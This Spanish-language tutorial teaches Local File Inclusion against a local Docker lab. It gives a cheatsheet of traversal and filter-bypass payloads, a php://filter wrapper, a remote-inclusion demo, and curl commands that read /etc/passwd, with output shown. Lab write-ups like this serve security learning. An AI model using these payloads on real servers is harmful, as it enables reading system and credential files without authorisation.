Laboratorio - LFI
LFI (Local File Inclusion) es una vulnerabilidad web, de la cual nos podemos aprovechar para leer archivos de la máquina objetivo y en el mejor de los casos, para los atacantes, llegar a derivarlo a un RCE (Remote Code Execution)
Cheatsheet 👩💻
LFI | Descripción |
---|---|
../../../../../../../../ | Payload Básico. |
....//....//....//....// | Bypass Posible Filtro. |
/etc/./////.///hosts \ /et?/?o?t? | Bypass Expresiones Regulares. |
/etc/host%00 \ /etc/passwd/. | Bypass Concatenación de Extensiones. |
php://filter/convert.base64-encode/resource=[Path] | Wrapper de Codificación en Base64. |
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 | Bypass Posible Filtro. (Se urlencodea la cadena ../../../etc/passwd ) |
Para practicar esta vulnerabilidad desplegaremos un laboratorio con Docker:
docker pull jnazario/lfi-labs
- Como nos creó una imagen la ejecutamos haciendo por Port Forwarding:
docker run -dit -p 80:80 <Image ID>
LFI Básico ⚾
- Para el primer laboratorio LFI-1 nos dirigimos a:
http://localhost/LFI-1/
- Vemos que existe un parámetro page por el cual podemos indicar una página.
- Si el input del usuario no se encuentra correctamente sanitizado, podemos llegar a leer archivos alojados en el servidor (archivos de configuración, archivos críticos, etc)
- Intentaremos leer el archivo
/etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
curl -s -X GET "http://localhost/LFI-1/index.php?page=/etc/passwd"
<SNIP>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
<SNIP>
Laboratorio LFI-3
Dependiendo del uso de determinadas librerías para incluir archivos, podremos leer archivos locales o incluir archivos de servidores externos.
Al usar
file_get_contents()
podemos leer archivos locales y externos- Leer Archivos Locales:
http://localhost/LFI-3/index.php?file=/etc/passwd
1 2 3 4 5 6
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
Leer Archivos Remotos:
a. Primeros montamos un servidor HTTP con Python con un archivo test.txt que tenga el contenido
Hola
.- Comando:
python3 -m http.server 8080
b. Realizamos una petición con cURL a nuestro servidor:
Comando:
curl -s -X GET "http://localhost/LFI-3/index.php?file=http://<IP Máquina Host>:8080/test.txt"
Output
1 2
<SNIP> Hola
Vemos el contenido de nuestro archivo test.txt de nuestra máquina host.
- Comando:
Laboratorio LFI-5
Al aplicar el payload básico veremos que no nos funciona, esto puede deberse a que se aplique un filtro mediante el cual eliminen ../
, este filtro puede bypassearse, si no se encuentra aplicado correctamente.
1
2
3
4
5
6
<?php
$cadena = "../directorio/archivo.txt";
$reemplazo = "";
$nuevaCadena = str_replace("../", $reemplazo, $cadena);
echo $nuevaCadena; # nuevaCadena = directorio/archivo.txt
?>
Si nos fijamos bien en el código anterior, veremos que se elimina la coincidencia ../
, pero, no se aplica de manera recursiva, es decir, solo lo elimina una vez.
En caso de indicarle ....//
al eliminar una única vez ../
la cadena final será ../
, así que ya encontramos una forma de bypassear el filtro posiblemente aplicado.
Comando:
curl -s -X GET "http://localhost/LFI-5/index.php?file=....//....//....//....//....//....//....//....//etc/passwd"
Output
1
2
3
4
5
6
<SNIP>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
Usando Wrappers de PHP 🍬
A pesar de que en todos los casos anteriores obtenemos el archivo /etc/passwd exitosamente, existirán casos en los que representar archivos con una estructura con muchas líneas o caracteres especiales puede corromper la muestra del mismo, haciendo que no nos sea posible leer archivos. Para evitar este tipo de problemas podemos representar la información en base64
En el laboratorio LFI-1 podemos obtener el contenido encodeado en base64 usando php://filter/encode.base64-convert/resource=[Path Archivo]
Comando:
curl -s -X GET "http://localhost/LFI-1/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd"
Output
1 2
<SNIP> cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25v<SNIP>
Ahora, podemos decodear la cadena anterior y ver el contenido original
- Comando:
echo -n "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3N<SNIP>" | base64 -d > lfi.txt